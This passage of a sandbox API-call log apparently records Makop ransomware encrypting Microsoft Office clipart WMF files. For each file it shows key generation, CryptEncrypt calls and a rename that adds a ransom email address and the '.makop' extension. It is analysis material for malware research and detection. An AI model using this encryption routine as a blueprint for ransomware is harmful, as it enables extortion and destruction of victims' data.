ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x199a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212685.WMF", cAlternateFileName="")) returned 1 [0131.036] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0131.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.069] GetProcessHeap () returned 0x48a0000 [0131.069] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.069] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.069] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.069] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.074] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.074] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.074] GetProcessHeap () returned 0x48a0000 [0131.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.075] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.075] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.075] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.075] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.076] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.076] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x199a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x199a, lpOverlapped=0x0) returned 1 [0131.078] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19a0) returned 1 [0131.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.078] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19a0, lpOverlapped=0x0) returned 1 [0131.078] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.078] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.078] SetEndOfFile (hFile=0xf0) returned 1 [0131.085] GetProcessHeap () returned 0x48a0000 [0131.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.085] GetProcessHeap () returned 0x48a0000 [0131.085] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.085] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.086] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.087] CloseHandle (hObject=0xf0) returned 1 [0131.087] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x80c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212751.WMF", cAlternateFileName="")) returned 1 [0131.087] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF") returned 63 [0131.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.088] GetProcessHeap () returned 0x48a0000 [0131.088] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.089] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.089] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.089] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.093] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.093] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.093] GetProcessHeap () returned 0x48a0000 [0131.093] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.094] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.094] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.094] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.094] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.094] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.095] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.095] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.095] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x80c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x80c, lpOverlapped=0x0) returned 1 [0131.095] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x810, dwBufLen=0x810 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x810) returned 1 [0131.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.095] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x810, lpOverlapped=0x0) returned 1 [0131.095] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.096] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.096] SetEndOfFile (hFile=0xf0) returned 1 [0131.103] GetProcessHeap () returned 0x48a0000 [0131.103] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.103] GetProcessHeap () returned 0x48a0000 [0131.103] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.104] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.104] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.105] CloseHandle (hObject=0xf0) returned 1 [0131.105] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0212953.WMF", cAlternateFileName="")) returned 1 [0131.106] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF") returned 63 [0131.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.107] GetProcessHeap () returned 0x48a0000 [0131.107] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.107] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.107] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.107] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.130] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.130] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.130] GetProcessHeap () returned 0x48a0000 [0131.130] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.131] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.131] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.131] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.131] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.132] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.132] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.132] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d4a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1d4a, lpOverlapped=0x0) returned 1 [0131.134] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1d50) returned 1 [0131.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.134] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1d50, lpOverlapped=0x0) returned 1 [0131.134] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.134] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.134] SetEndOfFile (hFile=0xf0) returned 1 [0131.141] GetProcessHeap () returned 0x48a0000 [0131.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.141] GetProcessHeap () returned 0x48a0000 [0131.141] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.141] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212953.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212953.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.143] CloseHandle (hObject=0xf0) returned 1 [0131.143] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0213243.WMF", cAlternateFileName="")) returned 1 [0131.143] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF") returned 63 [0131.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.144] GetProcessHeap () returned 0x48a0000 [0131.144] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.144] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.144] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.144] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.149] GetProcessHeap () returned 0x48a0000 [0131.149] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.149] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.149] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.149] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.149] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.150] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.150] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.151] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa5c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa5c, lpOverlapped=0x0) returned 1 [0131.151] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa60, dwBufLen=0xa60 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa60) returned 1 [0131.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.151] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa60, lpOverlapped=0x0) returned 1 [0131.151] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.151] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.151] SetEndOfFile (hFile=0xf0) returned 1 [0131.157] GetProcessHeap () returned 0x48a0000 [0131.158] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.158] GetProcessHeap () returned 0x48a0000 [0131.158] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.158] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 